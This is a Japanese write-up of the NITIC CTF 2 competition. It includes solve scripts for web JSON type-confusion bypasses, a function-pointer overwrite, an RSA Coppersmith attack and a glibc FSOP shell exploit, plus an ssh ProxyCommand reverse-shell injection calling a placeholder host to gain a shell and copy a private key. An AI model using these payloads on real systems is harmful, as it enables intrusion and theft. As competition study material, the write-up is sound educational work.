NITIC CTF 2 Writeup

Mon Sep 06 2021

9/5-9/6 で開催していた NITIC CTF 2 にソロで参加しました。結果は 6th/174 (得点のあるチームのみカウント) でした。web と pwn で1問ずつ残してしまい、涙…

solve 数50以下の問題についての writeup をまとめます。あと解けなかった問題についてもメモを残しておきます。

Web

password

46 solves

server.py
from flask import Flask, request, make_response
import string
import secrets

password = "".join([secrets.choice(string.ascii_letters) for _ in range(32)])

print("[INFO] password: " + password)

with open("flag.txt") as f:
    flag = f.read()


def fuzzy_equal(input_pass, password):
    if len(input_pass) != len(password):
        return False

    for i in range(len(input_pass)):
        if input_pass[i] in "0oO":
            c = "0oO"
        elif input_pass[i] in "l1I":
            c = "l1I"
        else:
            c = input_pass[i]
        if all([ci != password[i] for ci in c]):
            return False
    return True


app = Flask(__name__)

(snipped)

@app.route("/flag", methods=["POST"])
def search():
    if request.headers.get("Content-Type") != "application/json":
        return make_response("Content-Type Not Allowed", 415)

    input_pass = request.json.get("pass", "")
    if not fuzzy_equal(input_pass, password):
        return make_response("invalid password", 401)
    return flag


app.run(port=8080)

ランダムに生成された32文字の password について、 fuzzy_equal 関数を通すことのできる input_pass を与えることができればフラグが手に入ります。

input_pass は JSON をパースして作られていますが、型のチェックがありません。そのため、 {"pass": "ABC..."} という形式でなくてもよく、例えば {"pass": ["A", "B", "C", ...]} と POST してもいいわけです。 fuzzy_equal の処理を見てみると、 input_pass[i] の中に password[i] の文字が一つでも含まれていればよいということになっているため、 {"pass": [string.ascii_letters, string.ascii_letters, ...]} という形式で送ると、 password がいかなる値であっても通すことができます。

solve.py
import string
import requests

url = "http://34.146.80.178:8001/flag"

res = requests.post(url, json={"pass": [string.ascii_letters] * 32})
print(res.text)

nitic_ctf{s0_sh0u1d_va11dat3_j50n_sch3m3}

次の fixed の問題も含めていい問題だと思ったけど、この解き方は非想定だったんですかね…?

password fixed

13 solves 前問の fuzzy_equal が修正されています。

server.py
def fuzzy_equal(input_pass, password):
    if len(input_pass) != len(password):
        return False

    for i in range(len(input_pass)):
        if input_pass[i] in "0oO":
            if password[i] not in "0oO":
                return False
            continue
        if input_pass[i] in "l1I":
            if password[i] not in "l1I":
                return False
            continue
        if input_pass[i] != password[i]:
            return False
    return True

今回は前問の方法では突破できなくなっています。しかし依然として型のチェックはないので、それを利用する方針で考えます。

まずはいろいろな型で POST するのを試してみました。すると、 [0, 0, ...][null, null, ...] のように文字列でないもののリストを送ると、500 が返ってくることに気づきました。これは if input_pass[i] in "0oO": の部分で型が合わず落ちるからです。

そこで、 JSON のリストの中身は全て同じ型じゃなくてもいいことに注目します (天下り的ですが)。つまり ["A", 0, "B", ...] などが許されています。 例えば ["A", null, "A", "A", ...] を送った時、 password[0] == "A" であれば 500 が返ってきます。一方で password[0] != "A" であれば 401 が返ってきます。 これを利用することで password の文字を1文字ずつ決めていくことができます。

solve.py
import string
import requests

url = "http://34.146.80.178:8002/flag"

password = ""
for idx in range(31):
    base_payload = list(password) + ["A"] * (32 - len(password))
    for c in string.ascii_letters:
        tmp_payload = base_payload.copy()
        tmp_payload[idx] = c
        tmp_payload[idx+1] = None
        res = requests.post(url, json={"pass": tmp_payload})
        if res.status_code == 401:
            continue
        else:
            password += c
            print(password)
            break
    else:
        raise RuntimeError

for c in string.ascii_letters:
    res = requests.post(url, json={"pass": password + c})
    if res.status_code == 200:
        print(res.text)

nitic_ctf{s0_sh0u1d_va11dat3_un1nt3nd3d_s0lut10n}

Pwn

pwn monster 3

50 solves

vuln.c
void show_flag() {
  FILE *fp = fopen("./flag.txt", "r");
  char flag[256];
  if (fp == NULL) {
    printf("Not found flag.txt! Do you run in local?\n");
  } else {
    fgets(flag, 256, fp);
    printf("%s\n", flag);
    fclose(fp);
  }
}

(snipped)

typedef struct {
  char name[16];
  int64_t hp;
  int64_t attack;
  char *(*cry)();
} Monster;

(snipped)

    if (my_turn) {
      puts("Your Turn.");
      printf("%s: %s\n", my_monster.name, my_monster.cry());
      printf("Rival monster took %ld damage!\n", my_monster.attack);
      rival_monster.hp -= my_monster.attack;
    } else {

(snipped)

今までの問題と異なり、Monstercry という method が生えています。この cry は各ターンで呼ばれるようです。 show_flag といういかにも呼んで欲しそうな関数があるので、BOF で cry の関数をこの関数に置き換えてしまいましょう。

solve.py
from pwn import remote, p64

io = remote("35.200.120.35", 9003)
io.recvuntil("|cry()   | ")
addr_cry = int(io.recv(18), 16)
addr_flag = addr_cry - 0x134E + 0x1286

payload = b"A" * 32
payload += p64(addr_flag)

io.sendlineafter("name: ", payload)
io.interactive()

nitic_ctf{rewrite_function_pointer_is_fun}

Misc

braincheck

36 solves

brainfuck で書かれたプログラムです。久しぶりに見た… このコードを読んでプログラムが理解できる人間ではないので、 bfs でコンパイルして ELF 形式にし、 gdb でメモリを見ながら動作を追いました。

int 0x80 が呼ばれるところでブレークポイントを設置し、入力した文字とそのときのメモリの状態を照らし合わせてみると、入力文字が正しいときだけ buffer[0] の値が0になっていそうでした (フラグの prefix が nitic_ctf{ であることが既知なので試せた)。 文字を1つ1つ変えていき、各 int 0x80 の場所で buffer[0] == 0 となっているかを確認する作業を温かい手作業で行い、フラグを復元しました。動作を追うというのは嘘でしたね。

nitic_ctf{esoteric!}

angr で簡単に解けそうな気配がしたのに、なぜか自分の環境ではうまく動いてくれなかった…賢い方法を知りたい。

Rev

report or repeat

22 solves

Ghidra で解析します。

main 関数の核の部分は以下の通りです (変数名は適宜与えています)。

        do {
          read_counter = fread(buf_read,1,0x100,__stream);
          read_counter_int = (int)read_counter;
          if (read_counter_int < 0x100) {
            local_338 = read_counter_int;
            if (read_counter_int == 0) break;
            for (; local_338 < 0x100; local_338 = local_338 + 1) {
              buf_read[local_338] = 0;
            }
          }
          FUN_00101209(buf_read,buf_write);
          read_counter = fwrite(buf_write,1,0x100,__s);
          if (read_counter < 0x100) {
            printf("Failed to write to %s\n",(long)&new_file_name + 1);
            uVar2 = 1;
            goto LAB_00101738;
          }
        } while (read_counter_int == 0x100);
        fclose(__stream);
        fclose(__s);
        uVar2 = 0;

入力のファイルに対して 0x100 バイトずつ読み出し、 FUN_00101209 であれこれした結果を buf_write に保持し、それを出力ファイルに書き込みます。

次に FUN_00101209 の動作を見てみます。

  mem_stack = 0xc2b5e93852ec1e72;
  local_110 = 0x27ea0f531f754746;
  local_108 = 0x2a898c8c6ed757cf;
  local_100 = 0x12e7a197b8a86f2;
  (snipped)
  local_30 = 0xe951440710637bef;
  local_28 = 0x330c4a5a3dce2989;
  local_20 = 0x81d57f6dd1652132;
  for (i = 0; i < 0x100; i = i + 1) {
    *(byte *)(output + i) =
         PTR_DAT_00104120[*(byte *)(input + (ulong)(byte)(&mem_data)[i])] ^
         *(byte *)((long)&mem_stack + (long)i);
  }

output[i] = PTR_DAT_00104120[input[mem_data[i]]] ^ mem_stack[i] という計算がされています。

PTR_DAT_00104120mem_datamem_stack に該当する値を gdb で動かしつつ持ってきて、 decode するプログラムを書きました。

solve.py
from Crypto.Util.number import long_to_bytes


with open("./report_or_repeat/report.pdf.enc", "rb") as f:
    oup = f.read()


ptr_data = [
    0x8925ed1186778c06, 0x99a50dc97d796466,
    0x0a1b9eaa47716b44, 0x61f082a66e1ebfc3,
    0xc2b0b28790423584, 0xcde93e457312f43d,
    0xe8532d5ba4334126, 0xeb81bae518bcc53a,
    0x8acfac2fcc499f58, 0xd015b4a29c24480b,
    0x784b07f316d3191f, 0x7e0057c131e23480,
    0x6a469b692154705e, 0x596d17b9409acbb6,
    0x62e375df3260eafc, 0xb583f103d785a738,
    0xa36c0eadfdee5f55, 0x9d725a020813c020,
    0xd87439f99388fb5d, 0x4de1ce3f67044fd2,
    0x2a09db2b942ccad5, 0x0f01224e2995e737,
    0xb8f8147a56c8d4dc, 0xab5c8df5a9a84330,
    0x512e0c4a231a966f, 0x654ce48e52c792d6,
    0x8befbedd05bb9768, 0xa17bb3dac47698b7,
    0x10e0faf6af91a036, 0xf27cde50febd1c27,
    0x7fd13ce6d9c6aeb1, 0xf7288f3bec1d63ff,
]

mem_data = [
    0x0a4c2fa53b0e8557, 0x2a440bff05d57571,
    0xacbd2367fa11b5d4, 0x3963ef5a229d479c,
    0xd12ee364467ebfe5, 0x5002a3a9889240b9,
    0x96b8e9cf367d35c4, 0x0fecc386746698ad,
    0x7f16d9c11fe8511c, 0xea3719c234f4a8c0,
    0x1e28a1daed8b4218, 0x6d9495098aa76e3c,
    0xe75f278c8f4a3d9e, 0xeb91826a72e0f8de,
    0xf3e12d21e2f5f908, 0x3fce5d01737abac6,
    0xf658d24160cbee59, 0xa4b24e70627855b4,
    0x24f7979b29dcdbbb, 0xe67bcc43a0934b76,
    0x8d263ad8c565a238, 0xfb5eb12507bcc769,
    0xcacd9949af7713b0, 0x80176b56b76cbe04,
    0x53f1688e81452b87, 0x7c142c0dd3fda633,
    0xfef0891a4f908320, 0xaeaad01b06d6df32,
    0x6f9a1203e484dd79, 0x309f0cc93e1dd7ab,
    0xb65c6115f2b35410, 0x005248fcc84d5b31,
]

mem_stack = [
    0xc2b5e93852ec1e72, 0x27ea0f531f754746,
    0x2a898c8c6ed757cf, 0x012e7a197b8a86f2,
    0x7c9f5b2bd30815ab, 0x58826f3c985dde86,
    0x9ef377a56285eaf2, 0x1b71a09e8b10373e,
    0x650117b32f7e9dce, 0xf928e1ad2f795c14,
    0xa65e121f693a9255, 0x28e33b47dadba441,
    0x627c22fa9ce90908, 0x8e45e495862805d2,
    0x426458ed66ebe7d2, 0x685191a02170a9ba,
    0x7abb33126ca97eff, 0x01047cceede01bde,
    0xd3061b78361723cf, 0x0d4a5086985e255e,
    0xc22b726e96390c31, 0xf9a944d74cdd310f,
    0xb0a67368b940edb7, 0x4ce4b603372e3eef,
    0x6254f01074835dcb, 0x846ea7ff5cdf28c1,
    0x3d175ba063eb3959, 0x98777b218bcbee97,
    0x0670388d4459a9d5, 0xe951440710637bef,
    0x330c4a5a3dce2989, 0x81d57f6dd1652132,
    0x00007fffffffe5a0, 0x1b571d823dc40f00,
    0x00007fffffffe4b0, 0x00005555555556a9,
]


def mem_to_bytes(mem):
    ret = []
    for m in mem:
        for _ in range(8):
            ret.append(m % 256)
            m //= 256
    return ret


bytes_ptr_data = mem_to_bytes(ptr_data)
bytes_data = mem_to_bytes(mem_data)
bytes_stack = mem_to_bytes(mem_stack)


# oup[i] = bytes_ptr_data[inp[bytes_data[i]]] ^ bytes_stack[i]

inp_all = b""
for i in range(0, len(oup), 0x100):
    bytes_inp = [None] * 0x100
    for j in range(0x100):
        res = oup[i+j]
        res ^= bytes_stack[j]
        res = bytes_ptr_data.index(res)
        bytes_inp[bytes_data[j]] = res
    inp = b"".join([long_to_bytes(b) for b in bytes_inp])
    inp_all += inp
inp_all = inp_all[:inp_all.rindex(b"EOF")+3]
with open("dec.pdf", "wb") as f:
    f.write(inp_all)

nitic_ctf{xor+substitution+block-cipher}

decode した pdf にソースコードが載ってるのいいですね。

Crypto

summeRSA

32 solves

task.py
from Crypto.Util.number import *
from random import getrandbits

with open("flag.txt", "rb") as f:
	flag = f.read()
	assert len(flag) == 18


p = getStrongPrime(512)
q = getStrongPrime(512)
N = p * q

m = bytes_to_long(b"the magic words are squeamish ossifrage. " + flag)

e = 7
d = pow(e, -1, (p - 1) * (q - 1))
c = pow(m, e, N)

print(f"N = {N}")
print(f"e = {e}")
print(f"c = {c}")

フラグの文字列長は18で、そのうちの10文字は nitic_ctf{ なので、8文字が未知です。 RSA で暗号化するときは41文字の既知な接頭辞がつけられています。したがって、8/59 < 1/7 = 1/e が未知です。この程度の値であれば coppersmith's attack で求めることができます。

solve.py
from Crypto.Util.number import bytes_to_long, long_to_bytes

N = 139144195401291376287432009135228874425906733339426085480096768612837545660658559348449396096584313866982260011758274989304926271873352624836198271884781766711699496632003696533876991489994309382490275105164083576984076280280260628564972594554145121126951093422224357162795787221356643193605502890359266274703
e = 7
c = 137521057527189103425088525975824332594464447341686435497842858970204288096642253643188900933280120164271302965028579612429478072395471160529450860859037613781224232824152167212723936798704535757693154000462881802337540760439603751547377768669766050202387684717051899243124941875016108930932782472616565122310

m_msb = bytes_to_long(b"the magic words are squeamish ossifrage. " + b"nitic_ctf{") * 256 ** 8

PR.<m_lsb> = PolynomialRing(Zmod(N))

m = m_msb + m_lsb
f = m^7 - c
m = f.small_roots(epsilon=0.05)[0]

print(b"nitic_ctf{" + long_to_bytes(m))

nitic_ctf{k01k01!}

解けなかった問題&復習

Web

Is It Shell?

3 solves

wetty というプログラムに以下のパッチを当てたものが動いているようです。

wetty2.0.3.patch
--- a/src/client/wetty.ts
+++ b/src/client/wetty.ts
@@ -27,7 +27,7 @@ socket.on('connect', () => {
   const fileDownloader = new FileDownloader();

   term.onData((data: string) => {
-    socket.emit('input', data);
+    socket.emit('input', data.replace(/-/g, ''));
   });
   term.onResize((size: { cols: number; rows: number }) => {
     socket.emit('resize', size);

patch の元となっている v2.0.3 の branch で docker-compose を使ってもなぜかうまく起動できなかったので、仕方なく main branch で起動してみました。 このパッチでは - を打てなくしているので、手元環境で試しに -- と打ってみると、 ssh: unrecognized option: @ と表示されたり、 --i と打ってみると Warning: Identity file @wetty-ssh not accessible: No such file or directory. と表示されたり… コマンドインジェクションができそうな気配が感じ取れましたが、特に何もできずに終了。


kusano_k さんの writeupst98 さんの writeup を参考にして解き直してみました。

まず問題の環境で - を打てるようにする必要があり、前者では chrome の Local Overrides 機能を使い、後者では String.prototype.replace = function () { return this; }; を console で打ち replace の動作を変えていました。 前者のほうが汎用性が高そう (ほんと?) なので実際にやってみます。

chrome で devtool を開き、 Source タブの中の Overrides タブを開きます。 "Enable Local Overrides" をチェックし、画面上部でディレクトリアクセス権を許可します。その後 Network タブ内で書き換えたいファイル (今回は wetty.js) を右クリックし、 "Save for overrides" を選択します。再び Sources タブに戻り、先程選択したファイルを選択し、適宜編集して保存 (Ctrl+s) します。今回でいうと replace の部分を消しました。これで - が打てるようになります。

- が打てるようになったので先述した通り何かしら option を指定できるようになりました。 -o ProxyCommand を使うことで任意のコマンドを実行できるようです。これを使ってリバースシェルを張ります。 手元環境で nc -lvnp PORT を実行しておき、 -o ProxyCommand=bash -c "bash -i >& /dev/tcp/MY_URL/PORT 0>&1"; を wetty で入力します。これでシェルを叩けるようになりました。

$HOME/note をみると login to flag@flagserver と書いてあります。 $HOME/id_rsa_flag というファイルも存在するので、この秘密鍵を使って flag@flagserver に ssh すればよさそう。

しかしリモート環境で ssh -i id_rsa_flag flag@flagserver を叩いても Load key "id_rsa_flag": invalid format と言われてしまい、失敗します (なんで?)。 原因がよくわからないので、 id_rsa_flag を local に持ってきて、 cat /etc/hostsflagserver の IP アドレスを確認し、 local から ssh -i id_rsa_flag [email protected] で ssh 接続できました。

nitic_ctf{shell_in_the_webshell}

Pwn

baby_IO_jail

5 solves

vuln.c
#include<stdio.h>
#include<unistd.h>
void main(void) {
    setvbuf(stdout, NULL, _IONBF, 0);
jail:
    read(0,stdout,0x300);
    puts("back to jail");
    goto jail;
}

stdout に 0x300 バイトまで書き込むことができます。

ちょうど先週 FSOP を学んだので、 _IO_write_ptr_IO_write_base より大きくして任意アドレスの値をリークしたり、 _IO_jump_t の vtable 先を _IO_helper_jumps に変えて __overflow を one gadget とかにできたりしそうだなーと眺めていたのですが、肝心の libc のベースアドレスをリークする方法がわからず詰んでしまいました…中途半端な理解をしているとすぐこうなるので要復習。


kusano_k さんの writeup を参考にして解き直してみました。 _IO_write_base の LSB を \x00 にして _IO_2_1_stdin_ のアドレスをリークすることで libc ベースアドレスを求めていました。自分もそれ試したけど表示されなかったんだよな…と思いよく見てみると _flags の指定を間違っていたからのようでした。確かに _flags の挙動一切わかっていない…なので _flags による動作の違いを追ってみました。

libc-2.31 での _flags は以下の通りです。

libio/libio.h
#define _IO_MAGIC         0xFBAD0000 /* Magic number */
#define _IO_MAGIC_MASK    0xFFFF0000
#define _IO_USER_BUF          0x0001 /* Don't deallocate buffer on close. */
#define _IO_UNBUFFERED        0x0002
#define _IO_NO_READS          0x0004 /* Reading not allowed.  */
#define _IO_NO_WRITES         0x0008 /* Writing not allowed.  */
#define _IO_EOF_SEEN          0x0010
#define _IO_ERR_SEEN          0x0020
#define _IO_DELETE_DONT_CLOSE 0x0040 /* Don't call close(_fileno) on close.  */
#define _IO_LINKED            0x0080 /* In the list of all open files.  */
#define _IO_IN_BACKUP         0x0100
#define _IO_LINE_BUF          0x0200
#define _IO_TIED_PUT_GET      0x0400 /* Put and get pointer move in unison.  */
#define _IO_CURRENTLY_PUTTING 0x0800
#define _IO_IS_APPENDING      0x1000
#define _IO_IS_FILEBUF        0x2000
                           /* 0x4000  No longer used, reserved for compat.  */
#define _IO_USER_LOCK         0x8000

自分が試していたときは、 Angel Boy-san のスライド を参考に、 _flags &= ~8; _flags |= 0x800; のみ実行しており、 _flags = 0xfbad2884 でした。 先述の writeup では _flags = 0xfbad3887 が使われており、これと比較すると _IO_IS_APPENDING_IO_USER_BUF_IO_UNBUFFERED のビットが立っておらず、上手くいっていなかったようです。

_IO_USER_BUF についてはコメントにも書かれている通り close 時の処理についてのフラグのようなので、今回は関係なさそうです。 _IO_UNBUFFERED_IO_IS_APPENDING について処理を追ってみます。

_flags = 0xfbad3887 のとき、 puts 関数内部でどういう呼び出しが生じるのかを gdb で追ってみたところ、以下の順番で呼び出されていました。

最後の _IO_new_file_write の部分について 見てみます

libio/fileops.c
static size_t
new_do_write (FILE *fp, const char *data, size_t to_do)
{
  size_t count;
  if (fp->_flags & _IO_IS_APPENDING)
    /* On a system without a proper O_APPEND implementation,
       you would need to sys_seek(0, SEEK_END) here, but is
       not needed nor desirable for Unix- or Posix-like systems.
       Instead, just indicate that offset (before and after) is
       unpredictable. */
    fp->_offset = _IO_pos_BAD;
  else if (fp->_IO_read_end != fp->_IO_write_base)
    {
      off64_t new_pos
	= _IO_SYSSEEK (fp, fp->_IO_write_base - fp->_IO_read_end, 1);
      if (new_pos == _IO_pos_BAD)
	return 0;
      fp->_offset = new_pos;
    }
  count = _IO_SYSWRITE (fp, data, to_do);
  if (fp->_cur_column && count)
    fp->_cur_column = _IO_adjust_column (fp->_cur_column - 1, data, count) + 1;
  _IO_setg (fp, fp->_IO_buf_base, fp->_IO_buf_base, fp->_IO_buf_base);
  fp->_IO_write_base = fp->_IO_write_ptr = fp->_IO_buf_base;
  fp->_IO_write_end = (fp->_mode <= 0
		       && (fp->_flags & (_IO_LINE_BUF | _IO_UNBUFFERED))
		       ? fp->_IO_buf_base : fp->_IO_buf_end);
  return count;
}

_IO_IS_APPENDING のビットが立っていないと、 fp->_IO_read_end != fp->_IO_write_base なので _IO_SYSSEEK(...) が呼ばれます。この結果は _IO_pos_BAD となるので return 0 が呼ばれてしまい、 _IO_SYSWRITE(...) の部分に辿り着けなくなってしまうようでした。

また、 _IO_UNBUFFERED のビットが立っていないとこの関数の最後で _IO_write_end == _IO_buf_end となります。 puts内部実装 をみてみます。

libio/ioputs.c
int
_IO_puts (const char *str)
{
  int result = EOF;
  size_t len = strlen (str);
  _IO_acquire_lock (stdout);

  if ((_IO_vtable_offset (stdout) != 0
       || _IO_fwide (stdout, -1) == -1)
      && _IO_sputn (stdout, str, len) == len
      && _IO_putc_unlocked ('\n', stdout) != EOF)
    result = MIN (INT_MAX, len + 1);

  _IO_release_lock (stdout);
  return result;
}

_IO_new_file_xsputn(...) (= _IO_sputn(...)) のあとは _IO_putc_unlocked(...) が呼ばれるのですが、これの実体は以下の通りです。

libio/bits/types/struct_FILE.h
#define __putc_unlocked_body(_ch, _fp)					\
  (__glibc_unlikely ((_fp)->_IO_write_ptr >= (_fp)->_IO_write_end)	\
   ? __overflow (_fp, (unsigned char) (_ch))				\
   : (unsigned char) (*(_fp)->_IO_write_ptr++ = (_ch)))

__overflow を呼ぶかどうかが _IO_write_ptr >= _IO_write_end で判定されています。もともとの _IO_2_1_stdout_ の値は

pwndbg> p _IO_2_1_stdout_
$19 = {
  file = {
    _flags = -72540025,
    _IO_read_ptr = 0x7ffff7fb9723 <_IO_2_1_stdout_+131> "",
    _IO_read_end = 0x7ffff7fb9723 <_IO_2_1_stdout_+131> "",
    _IO_read_base = 0x7ffff7fb9723 <_IO_2_1_stdout_+131> "",
    _IO_write_base = 0x7ffff7fb9723 <_IO_2_1_stdout_+131> "",
    _IO_write_ptr = 0x7ffff7fb9723 <_IO_2_1_stdout_+131> "",
    _IO_write_end = 0x7ffff7fb9723 <_IO_2_1_stdout_+131> "",
    _IO_buf_base = 0x7ffff7fb9723 <_IO_2_1_stdout_+131> "",
    _IO_buf_end = 0x7ffff7fb9724 <_IO_2_1_stdout_+132> "",
(snipped)

のようになっているので、 _IO_write_end = _IO_buf_end となっていると __overflow(stdout, "\n") が呼ばれません。長くなりましたが話を戻すとこういう理由で _IO_UNBUFFERED のビットを立てないと \n が出力されないことがわかりました。 そのため、 puts 関数が使われているからといって io.recvline() のような形式で出力を受け取ろうとするとコケます。これは罠… なので本質的に重要だったのは _IO_IS_APPENDING のビットを立てることだったみたいです。

_flags を修正して libc アドレスをリークした後、次の read で vtable の先を直後の _IO_helper_jumps に指定し、 __overflowsystem にし、 _flags の部分を /bin/sh にしたらシェルを奪えました。

solve.py
from pwn import *

REMOTE = True

elf = ELF("./dist/vuln")
if REMOTE:
    libc = ELF("./dist/libc-2.31.so")
    io = remote("18.117.194.78", 13377)
else:
    libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
    io = remote("localhost", 1337)
context.binary = elf

_flag = 0xfbad3887

addr = 0x7ffff7fb0000  # 適当でいい

payload = pack(_flag)
payload += pack(addr)  # _IO_read_ptr
payload += pack(addr)  # _IO_read_end
payload += pack(addr)  # _IO_read_base
payload += b"\x00"  # _IO_write_base

io.send(payload)
ret = io.recvline()
addr_stdin = unpack(ret[8: 16])
print(f"{hex(addr_stdin) = }")
libc.address = addr_stdin - libc.symbols["_IO_2_1_stdin_"]

payload = b"/bin/sh\x00"
payload += pack(libc.symbols["_IO_2_1_stdout_"] + 0x83) * 4

payload += pack(libc.symbols["_IO_2_1_stdout_"] + 0x84)  # _IO_write_ptr
payload += pack(libc.symbols["_IO_2_1_stdout_"] + 0x83) * 2
payload += pack(libc.symbols["_IO_2_1_stdout_"] + 0x84)

payload += pack(0) * 4
payload += pack(libc.symbols["_IO_2_1_stdin_"])
payload += pack(1)
payload += pack(0xffffffffffffffff)
payload += pack(0)
payload += pack(libc.address + 0x1ee4c0)  # pack(libc.symbols["_IO_stdfile_1_lock"])
payload += pack(0xffffffffffffffff)
payload += pack(0)
payload += pack(0)  # pack(libc.symbols["_IO_wide_data_1"])
payload += pack(0) * 6
payload += pack(libc.symbols["_IO_2_1_stdout_"] + 0x200)  # pack(libc.symbols["_IO_helper_jumps"])

payload += pack(libc.symbols["_IO_2_1_stderr_"])
payload += pack(libc.symbols["_IO_2_1_stdout_"])
payload += pack(libc.symbols["_IO_2_1_stdin_"])
payload += pack(0)  # pack(libc.symbols["__gcc_personality_v0"])

payload += pack(0) * 30

payload += pack(0) * 2

# _IO_helper_jumps
payload += pack(0) * 3
payload += pack(libc.symbols["system"])

io.send(payload)
io.interactive()

nitic_ctf{it_is_pointless_for_us}